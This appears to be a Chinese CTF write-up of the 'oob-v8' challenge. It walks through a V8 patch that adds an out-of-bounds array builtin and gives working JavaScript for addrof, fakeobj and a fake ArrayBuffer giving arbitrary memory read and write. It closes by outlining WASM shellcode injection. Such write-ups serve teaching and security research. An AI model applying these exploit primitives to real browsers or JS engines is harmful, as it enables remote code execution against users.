参照 starctf-oob-v8-indepth 完成 CTF 题目 oob-v8,学习 v8 漏洞利用。

准备

参照官方文档准备 v8 的构建环境。


ℹ️NOTE: 有 Chromium 的构建环境话,把构建命令改成 autoninja -C out\Default\ d8 就可以构建 d8.exe。


题目

题目修改了 v8 源码,给数组添加了一个有漏洞的函数 oob

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();

     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这段代码定义了 builtins 函数 ArrayOob,把它赋值到 Array.prototype.oob

重点分析下 ArrayOob 函数的实现:

  • 检查参数数量,超过两个直接返回 undefined
    args 中存储着 builtins 函数的所有参数,可以看做存放了 args.length() 个对象的数组。
  • args 中取得特殊的参数 receiver
    receiver 就相当于 JavsScript 函数中的 this 对象。
    Handle\<receiver\> 中的 Handle 可以看做智能指针。
  • receiver 当做浮点数数组使用,获取数组的缓冲区 elements
  • 如果只有一个参数:读取 elements 下标 array->length() 处存放的值。
  • 如果有两个参数:参数 2 写入 elements 下标 array->length() 处,返回 undefined

array->length() 返回的是数组 array 的元素数量,数组索引的有效范围是 [0, array->length()),访问索引 array->length() 属于越界访问。

我已经有现成的 v8 构建环境,就没有下载原题,而是在随便一个 COMMIT 上依照 PATCH 修改代码,构建出 d8.exe。(COMMIT ID 185badc9122fe6274c1b2fe54e03fda5315cb80e)

测试 oob 函数是否能正常使用:


ℹ️NOTE: 使用 Release 版的 d8.exe,Debug 版会触发断言。


> d8.exe
V8 version 9.4.0 (candidate)
d8> a = [0]
[0]
d8> a.oob()
1.380041495160898e-269
d8> a.oob(1)
undefined

利用

环境准备好以后,开始写利用代码,JavaScript 漏洞利用,是可以套用一个固定模式的:

先构造出 addrof 和 fakeobj 两个操作,就可以创建出指向任意地址的 ArrayBuffer 对象,实现任意内存读、写。

  • fakeobj: 伪造任意的JS对象
  • addrof: 读取任意 JavaScript 对象的地址

有了任意内存读、写,利用 WASM 模块导出函数所在的内存页面是 RWX 的这一特性,把函数指令修改成 shellcode,之后再调用函数,就相当于执行 shellcode。

内存布局

要实现 addrof 和 fakeobj,先要观察程序的内存布局,分析通过漏洞能越界访问到的数据。这里用 d8.exe 提供了调试函数 %DebugPrint 输出对象的内存地址,在用调试器查看内存数据,使用 %DebugPrint 需要在启动 d8 时指定 --natives-syntax 命令。

> d8.exe --allow-natives-syntax
V8 version 9.4.0 (candidate)
d8> a = [1.1, 1.2]
[1.1, 1.2]
d8> %DebugPrint(a)
DebugPrint: 000003D40810A6F9: [JSArray]
 - map: 0x03d4082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x03d40828bebd <JSArray[0]>
 - elements: 0x03d40810a6e1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x03d40800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    000003D4080048F1: [String] in ReadOnlySpace: #length: 0x03d40820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x03d40810a6e1 <FixedDoubleArray[2]> {
           0: 1.1
           1: 1.2
 }
000003D4082C3AE1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x03d4082c3ab9 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x03d408202405 <Cell value= 1>
 - instance descriptors #1: 0x03d40828c38d <DescriptorArray[1]>
 - transitions #1: 0x03d40828c3d9 <TransitionArray[4]>Transition array #1:
     0x03d408005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x03d4082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x03d40828bebd <JSArray[0]>
 - constructor: 0x03d40828bc4d <JSFunction Array (sfi = 000003D40820FE71)>
 - dependent code: 0x03d4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.1, 1.2]

第一行 DebugPrint: 000003D40810A6F9: [JSArray] 是指 a 在内存中的指针是 000003D40810A6F9,数据类型是 JSArray

0x000003D40810A6F9 作为一个对象的起始地址是有点奇怪的,一般来说内存块起始地址都是按 4 或 8 对齐的,不会出现一个对象从奇数地址开始的情况。这是因为 0x000003D40810A6F9 严格来说并不是 a 的指针,而是标记指针(Tagged pointer)。

标记指针是优化后的指针,v8 是在一个很小的范围内分配的对象的内存,64 位地址的高 32 位都是一样的,为了减小指针的内存占用,v8 就只存储指针的低 32 位。而且对象的指针都是对齐过的,最低位固定为 0,可以作为标志位使用。最低位置位时代表数据类型是标记指针,清零代表存放的是 Smi。Smi 是对小整数的一种优化,把一个小整数左移一位就得到了它对应的 Smi。更多内容,参考v8的文档

所以 a 真实的地址是 0x000003D40810A6F8,在调试器里查看存储的数据

JSArray 对应 CPP 中的 v8::internall::JSArray,阅读代码得知它有以下几个成员:

  • map: 存放对象的类型信息,如:原型、属性名
  • properties: 对象属性的指针
  • elements: 数组元素的指针
  • length: 数组长度 (Smi)

再看下 elements 处的内存布局

elements 指向的是作为缓冲区使用的 FixedArray 对象,包含:

  • map
  • length
  • 内嵌的缓冲区

按双精度浮点数显示,就可以看到存放在数组中的 1.1, 1.2 两个浮点数。

越界访问到的就是跟在 1.2 之后的值,也就是 0x99993d49810a6f8 起始的 8 字节内存。这刚好就是 a 的起始地址,存放的是 a 的 map 和 properties,测试几次发现都是这样的。这样的话越界访问就可以读、写浮点数组的 map 和 properties。


ℹ️NOTE: 深入分析的话,会发现在数组的创建过程中,这两个内存块是紧接在一起线性分配的,在数组大小选取的合适情况下,内存地址一定是相连的。


addrof

map 中存放了关于对象类型的信息,例如原型,属性等。把浮点数数组的 map 替换成对象数组的,v8 解释器就会把它当做对象数组。利用这个特性,通过如下操作就可以读到对象的指针:

  • 浮点数组 map 改成对象数组
  • 对象存入数组的指定位置,存入的缓冲区的数据,实际上对象的指针
  • 再把 map 恢复回去
  • 把指针当做浮点数从数组读出

目前已经可以读、写浮点数组 map,只要再找到读取对象数组 map 的方法,addrof 就可以实现了。

观察下对象数组的内存布局,看看对象数组的越界访问能读到什么:

d8> obj = {}
{}
d8> let arr2 = [obj]
undefined
d8> %DebugPrint(arr2)
DebugPrint: 000003C00810B071: [JSArray]
 - map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x03c00828bebd <JSArray[0]>
 - elements: 0x03c00810b065 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x03c00800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x03c00810b065 <FixedArray[1]> {
           0: 0x03c00810afad <Object map = 000003C0082C22D1>
 }
000003C0082C3B31: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x03c008202405 <Cell value= 1>
 - instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
 - transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
     0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>

 - prototype: 0x03c00828bebd <JSArray[0]>
 - constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
 - dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[{}]

查看内存数据:

对象数组的元素是 4 字节的标记指针,而 oob 函数是把数组元素当做 8 字节的浮点数处理的,这使得对象数组的 oob 是不能直接读取到 map 的。

不过随着数组元素数量的增加,oob 能读到的位置是在向下移动的,最终一定会越过对象数组的所在的区域,读到高地址处其他的值。如果我们先在后面的内存中布局其它的对象数组,就有可能读到其它对象数组的 map。

经过简单的计算和尝试,找到了一个合适的方案:创建相邻的两个对象数组,第一个数组有 8 个元素,第二个数组有 2 个元素。第一个数组的 oob 函数刚好就可以读到第二个数组的 Map 值。

d8> arr2 = [obj, obj, obj, obj, obj, obj, obj, obj];arr3=[obj,obj]
[{}, {}]
d8> %DebugPrint(arr2)
DebugPrint: 000003C00810B239: [JSArray]
 - map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x03c00828bebd <JSArray[0]>
 - elements: 0x03c00810b211 <FixedArray[8]> [PACKED_ELEMENTS]
 - length: 8
 - properties: 0x03c00800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x03c00810b211 <FixedArray[8]> {
         0-7: 0x03c00810afad <Object map = 000003C0082C22D1>
 }
000003C0082C3B31: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x03c008202405 <Cell value= 1>
 - instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
 - transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
     0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>

 - prototype: 0x03c00828bebd <JSArray[0]>
 - constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
 - dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[{}, {}, {}, {}, {}, {}, {}, {}]
d8> %DebugPrint(arr3)
DebugPrint: 000003C00810B259: [JSArray]
 - map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x03c00828bebd <JSArray[0]>
 - elements: 0x03c00810b249 <FixedArray[2]> [PACKED_ELEMENTS]
 - length: 2
 - properties: 0x03c00800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x03c00810b249 <FixedArray[2]> {
         0-1: 0x03c00810afad <Object map = 000003C0082C22D1>
 }
000003C0082C3B31: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x03c008202405 <Cell value= 1>
 - instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
 - transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
     0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>

 - prototype: 0x03c00828bebd <JSArray[0]>
 - constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
 - dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[{}, {}]

查看内存:

对第一个数组调用 oob,访问的内存为 0x000003C00810B218 + 0x8 * 0x8 => 0x000003C00810B258,刚好是第二个数组的 map 所在的位置。

addrof 代码实现如下:

let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigInt64Array(buf);

function ftoi(f) {
	f64[0] = f;
	return i64[0]
}

function itof(i) {
	i64[0] = i;
	return f64[0];
}

function zero_high_word(i) {
	return i & BigInt("0x00000000ffffffff");
}

function get_map_double_array() {
	let arr = [1.1, 1.2, 1.3]
	return zero_high_word(ftoi(arr.oob()));
}

function get_map_obj_array() {
  let obj = {};
  let arr1 = [obj, obj, obj, obj, obj, obj, obj, obj];
  let arr2 = [obj, obj];
  // arr1.oob will read arr2's map
  return zero_high_word(ftoi(arr1.oob()));
}

function modify_double_arr_map(arr, new_map) {
  old_v = ftoi(arr.oob());
  new_v = old_v & BigInt('0xffffffff0000000') | new_map;
  arr.oob(itof(new_v));
}

double_array_map = get_map_double_array();
obj_array_map = get_map_obj_array();

console.log(double_array_map.toString(16));
console.log(obj_array_map.toString(16));

let arr = [1.1, 1.2, 1.3];

let obj = {}
modify_double_arr_map(arr, obj_array_map)
arr[2] = obj;
modify_double_arr_map(arr, double_array_map)
let addrofobj = ftoi(arr[1]) & BigInt("0x00000000ffffffff");

console.log(addrofobj.toString(16))

oob 函数的返回值是浮点型的,为了方便对其进行位运算,需要实现了类型转换函数 ftoiitof

验证下效果:


ℹ️NOTE: 使用Release 版的 d8.exe


./d8.exe --allow-natives-syntax
V8 version 9.4.0 (candidate)
d8> load("poc.js")
8203ae1
8203b31
8049901
undefined
d8> %DebugPrint(obj)
0x023108049901 <Object map = 00000231082022D1>
{}

fakeobj

把修改 map 顺序变换一下,就可以实现 fakeobj:

  • 把指针转换成浮点数,存入浮点数组
  • 浮点数组的 map 改成对象数组的
  • 把刚存入的指针当成对象读出。
  • 恢复 map
function fakeobj(tagged_ptr) {
  arr[0] = itof(tagged_ptr)
  modify_double_arr_map(arr, obj_array_map)
  res = arr[0]
  modify_double_arr_map(arr, double_array_map)
  return res;
}

可以用数组构造 tagged_ptr 指向的内存:

function addrof(obj) {
  modify_double_arr_map(arr, obj_array_map)
  arr[2] = obj;
  modify_double_arr_map(arr, double_array_map)

  return ftoi(arr[1]) & BigInt("0x00000000ffffffff");
}

// fake a double Array
arr_contains_fake_obj = [itof(make_qword(double_array_map, 0)), itof(make_qword(double_array_map, 6 << 1)), 1.3];
%DebugPrint(arr_contains_fake_obj);
fixed_arr_ends = arr_begin = addrof(arr_contains_fake_obj);
console.log(fixed_arr_ends.toString(16));

// 获取fakeobj的起始地址
fake_obj_tagged_ptr = fixed_arr_ends - BigInt(3 * 8);
console.log(fake_obj_tagged_ptr.toString(16));

刚好在下图红色框出的区域构造出了可以作为浮点数组使用的内存。

这个伪造的数组:

  • map:浮点数组 map 0x08203ae1
  • properties:0 不会用到
  • elements: 0x0820eae1, 只是随便选了一个可访问的内存,没有特殊需要
  • length:0xc => 6 的 Smi 形式。

arr_contains_fake_obj 的地址减去 24 就可以是红框的起始地址,把这个起始地址转换成 tagged pointer 就可以用作 fakeobj 函数的参数。

验证下效果:

// 调用 fakeobj 函数,得到伪造的数组
let fake_obj = fakeobj(fake_obj_tagged_ptr);
%DebugPrint(fake_obj);
// 读取伪造的数组的第一个元素
console.log(fake_obj[0]);
readline();

./d8.exe –allow-natives-sytax poc.js 运行后输出如下:

8203ae1
8203b31
8049bc9
0x01c908049d09 <JSArray[3]>
8049d09
8049cf1
0x01c908049cf1 <JSArray[6]>
1.6291488275489796e-260

任意内存读、写

用 addrof 和 fakeobj,伪造一个 Uint8Array 对象,就可以实现任意内存读写。

先分析 Uint8Array 对象的内存布局:

// Debug 版运行
d8> let u8a = new Uint8Array(8)
undefined
d8> %DebugPrint(u8a)
DebugPrint: 000000A408108E21: [JSTypedArray]
 - map: 0x00a4082c24d9 <Map(UINT8ELEMENTS)> [FastProperties]
 - prototype: 0x00a408284efd <Object map = 000000A4082C2501>
 - elements: 0x00a408108e11 <ByteArray[8]> [UINT8ELEMENTS]
 - embedder fields: 2
 - buffer: 0x00a408108dd1 <ArrayBuffer map = 000000A4082C3271>
 - byte_offset: 0
 - byte_length: 8
 - length: 8
 - data_ptr: 000000A408108E18
   - base_pointer: 0000000008108E11
   - external_pointer: 000000A400000007
 - properties: 0x00a40800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - elements: 0x00a408108e11 <ByteArray[8]> {
         0-7: 0
 }
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
000000A4082C24D9: [Map]
 - type: JS_TYPED_ARRAY_TYPE
 - instance size: 72
 - inobject properties: 0
 - elements kind: UINT8ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x00a4080023b5 <undefined>
 - prototype_validity cell: 0x00a408202405 <Cell value= 1>
 - instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x00a408284efd <Object map = 000000A4082C2501>
 - constructor: 0x00a408284e85 <JSFunction Uint8Array (sfi = 000000A408209E01)>
 - dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

0,0,0,0,0,0,0,0

Uint8Array 对应 v8::internal::JSTypedArray,分析源码得到如下内存布局:

  • JSTypedArray
    • JSArrayBufferView
      • JSObject
        • map
        • properties
        • elements
      • Buffer: tagged pointer
      • ByteOffset: intptr_t
      • ByteLength: intptr_t
    • Length: intptr_t
    • ExternalPointer: intptr_t
    • BasePointer: Tagged Pointer
    • BitFoeld: int32_t
    • OptionalPadding: 对齐填充

查看内存:

buffer 指向的是与 Uint8Array 关联的 ArrayBuffer 对象。ArrayBuffer 对应 js::internal::JSArrayBuffer,分析源码得到如下内存布局:

  • JSArrayBuffer
    • JSObject
      • map
      • properties
      • elements
    • ByteLength: intptr_t
    • MaxByteLength: intptr_t
    • BackingStore: intptr_t
    • Extension: intptr_t
    • BitField: int32_t
    • OptinalPadding: 对齐填充

用调试器分析这两个类型:

d8> let buf = new ArrayBuffer(8)
undefined
d8> let u8a = new Uint8Array(buf)
undefined
d8> u8a[0] = 0xaa
170
d8> u8a[1] = 0xbb
187
d8> u8a[2] = 0xcc
204
d8> %DebugPrint(u8a)
DebugPrint: 000000A40810A669: [JSTypedArray]
 - map: 0x00a4082c24d9 <Map(UINT8ELEMENTS)> [FastProperties]
 - prototype: 0x00a408284efd <Object map = 000000A4082C2501>
 - elements: 0x00a408003245 <ByteArray[0]> [UINT8ELEMENTS]
 - embedder fields: 2
 - buffer: 0x00a40810a5bd <ArrayBuffer map = 000000A4082C3271>
 - byte_offset: 0
 - byte_length: 8
 - length: 8
 - data_ptr: 0000021474AB8710
   - base_pointer: 0000000000000000
   - external_pointer: 0000021474AB8710
 - properties: 0x00a40800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - elements: 0x00a408003245 <ByteArray[0]> {
           0: 170
           1: 187
           2: 204
         3-7: 0
 }
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
000000A4082C24D9: [Map]
 - type: JS_TYPED_ARRAY_TYPE
 - instance size: 72
 - inobject properties: 0
 - elements kind: UINT8ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x00a4080023b5 <undefined>
 - prototype_validity cell: 0x00a408202405 <Cell value= 1>
 - instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x00a408284efd <Object map = 000000A4082C2501>
 - constructor: 0x00a408284e85 <JSFunction Uint8Array (sfi = 000000A408209E01)>
 - dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

170,187,204,0,0,0,0,0

	d8> %DebugPrint(buf)
DebugPrint: 000000A40810A5BD: [JSArrayBuffer]
 - map: 0x00a4082c3271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x00a40828a129 <Object map = 000000A4082C3299>
 - elements: 0x00a40800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000021474AB8710
 - byte_length: 8
 - max_byte_length: 8
 - detachable
 - properties: 0x00a40800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
000000A4082C3271: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 64
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x00a4080023b5 <undefined>
 - prototype_validity cell: 0x00a408202405 <Cell value= 1>
 - instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x00a40828a129 <Object map = 000000A4082C3299>
 - constructor: 0x00a40828a055 <JSFunction ArrayBuffer (sfi = 000000A40820EB31)>
 - dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[object ArrayBuffer]

JSTypedArray:

JSArrayBuffer:

BackingStore:

JSArrayBuffer 的 BackStore 应该是缓冲区的实际指针了。在调试器里把 BackStore 的地址 +4,看看读取到的数据是否变化。

d8> u8a[0] = 0xdd
221
d8> u8a[0]
221
d8> u8a
221,187,204,0,0,0,0,0

没有达到预期的效果,分析下原因,backing_store 的开始,创建内存写入断点,之后执行 ua8[0] = 0xdd。程序断下,调用栈如下:

分析调用栈后,发现写入地址是 JSTypedArray::DataPtr() 获取的:

void* JSTypedArray::DataPtr() {
  // Zero-extend Tagged_t to Address according to current compression scheme
  // so that the addition with |external_pointer| (which already contains
  // compensated offset value) will decompress the tagged value.
  // See JSTypedArray::ExternalPointerCompensationForOnHeapArray() for details.
  STATIC_ASSERT(kOffHeapDataPtrEqualsExternalPointer);
  return reinterpret_cast<void*>(external_pointer() +
                                 static_cast<Tagged_t>(base_pointer().ptr()));
}

external_pointerbase_pointer 两项相加得出,并不会访问 ArrayBufferbacking_store。推测是 ArrayBuffer 内部的缓冲区已经被提前拷贝到 TypedArray 结构中了,这样的话新建一个 UInt8Array 应该是可以的。

d8> u8a2 = new Uint8Array(buf)
0,0,0,0,253,253,253,253
d8> u8a2[0] = 0xdd
221
d8> u8a2[0]
221
d8> u8a
221,187,204,0,221,0,0,0

任意内存读写

伪造 ArrayBuffer 实现任意内存读写,分成下面几个步骤:

  • 读取 ArrayBuffer 的 map
  • 数组中伪造出 ArrayBuffer
  • 利用 fakeobj 函数,得到伪造 ArrayBuffer 对象

读取 ArrayBuffer 的 map 的方法和读取对象数组的类似,创建一个包含 4 个元素的对象数组和一个 ArrayBuffer,这样对象数组的 oob 函数就可以读到 ArrayBuffer 的 map。

function read_array_buffer_map() {
  obj = {}
  obj_arr = [obj, obj, obj, obj]
  arr_buf = new ArrayBuffer();
  map = obj_arr.oob();
  console.log(ftoi(map).toString(16));
  console.log(addrof(arr_buf).toString(16));
  %DebugPrint(obj_arr);
  %DebugPrint(arr_buf);
	return map;
}

arr_buf_map = read_array_buffer_map();

/*
输出:
800222d08203271
804aa9d
0x03ee0804aa8d <JSArray[4]>
0x03ee0804aa9d <ArrayBuffer map = 000003EE08203271>
*/

接下来在数组中伪造出一个 ArrayBufferArrayBuffer 总计 0x30 字节,创建一个 6 个元素的浮点数数组就应该足够了,但是如果从元素 0 开始布局内存的话,ByteLength、MaxByteLength、BackingStore 等元素,所在的位置就会横跨两个数组下标,赋值有些不方便。如果把 ArrayBuffer 的 map,放在浮点数组的第一个元素的高 32 位,会更方便一些,这就需要创建一个 7 个元素的浮点数组。

// 伪造任意ArrayBuffer
function fake_array_buffer(addr, len) {
  double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
  // [0x00000000, Map]
  double_arr[0] = itof(ftoi(arr_buf_map) << BigInt(32))
  // [props, elems] 不影响利用,填0
  double_arr[1] = itof(make_qword(0, 0));
  // [ByteLenghLow, ByteLengthHigh]
  double_arr[2] = itof(BigInt(len))
  // [MaxByteLengthLow, MaxByteLengthHigh]
  double_arr[3] = itof(BigInt(len))
  // [BackingStoreLow, BackingStoreHigh]
  double_arr[4] = itof(BigInt(addr))

  addr_fake_arr_buf_end = addr_double_arr_begin = addrof(double_arr);
  %DebugPrint(double_arr);
  console.log(addr_fake_arr_buf_end.toString(16))
	// 7个元素的double数组, sizeof(ArrayBuffer)仅占6个,在Array和ArrayBuffer,有4字节大小的冗余空间没有使用
	// sizeof(ArrayBuffer) + 4
  addr_fake_arr_buf_begin = addr_fake_arr_buf_end - BigInt(0x30 + 0x4);
  console.log(addr_fake_arr_buf_begin.toString(16));
  return fakeobj(addr_fake_arr_buf_begin);
}

fake_buf_0_3000 = fake_array_buffer(0, 3000);
%DebugPrint(fake_buf_0_3000);

运行结果如下:

0x026c0804b331 <JSArray[7]>
804b331
804b2fd
0x026c0804b2fd <ArrayBuffer map = 0000026C08203271>

创建出对应的 Uint8Array

view = new Uint8Array(fake_buf_0_3000)

调试运行,发生异常:

#
# Fatal error in , line 0
# Check failed: 0 == array_buffer->byte_length().
#
#
#
#FailureMessage Object: 000000792BFFDD40
==== C stack trace ===============================

v8::base::debug::StackTrace::StackTrace [0x00007FF605911A5B+27] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\base\debug\stack_trace_win.cc:173)
v8::platform::`anonymous namespace'::PrintStackTrace [0x00007FF6058AF237+39] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\libplatform\default-platform.cc:28)
V8_Fatal [0x00007FF6058A7FE9+217] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\base\logging.cc:166)
v8::internal::Runtime_GrowableSharedArrayBufferByteLength [0x00007FF60539CF3C+540] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\runtime\runtime-typedarray.cc:56)
(No symbol) [0x0000039A000BDFDC]

根据异常日志和调用栈,定位到如下函数:

RUNTIME_FUNCTION(Runtime_GrowableSharedArrayBufferByteLength) {
  HandleScope scope(isolate);
  DCHECK_EQ(1, args.length());
  CONVERT_ARG_HANDLE_CHECKED(JSArrayBuffer, array_buffer, 0);

  CHECK_EQ(0, array_buffer->byte_length()); // ==> 这个检查没有通过
  size_t byte_length = array_buffer->GetBackingStore()->byte_length();
  return *isolate->factory()->NewNumberFromSize(byte_length);
}

把 ByteLength 改成 0 后,GetBackingStore() 中又会触发其他异常,有必要深入分析一下这个函数的逻辑。分析正常的 ArrayBuffer 访问流程作为参照,发现程序是不会走到Runtime_GrowableSharedArrayBufferByteLength 的。推测是填 0 处理隐藏了真正的错误,把之前填 0 的地方全都填上了 0xCC 再运行脚本,发现问题解决了,不再出现异常了。

执行 view[0] = 0xAA;,触发了 0x0 地址访问异常,证明我们伪造的 ArrayBuffer 可以正常使用了。

代码执行

接下来就可以实现代码执行了。代码执行的实现,分成下面几个步骤:

  • 创建 WebAssembly 实例
  • 读取 WASM 模块导出函数所在 RWX 内存区的地址
  • 利用任意地址读写能力,将 shellcode 写入可执行的内存
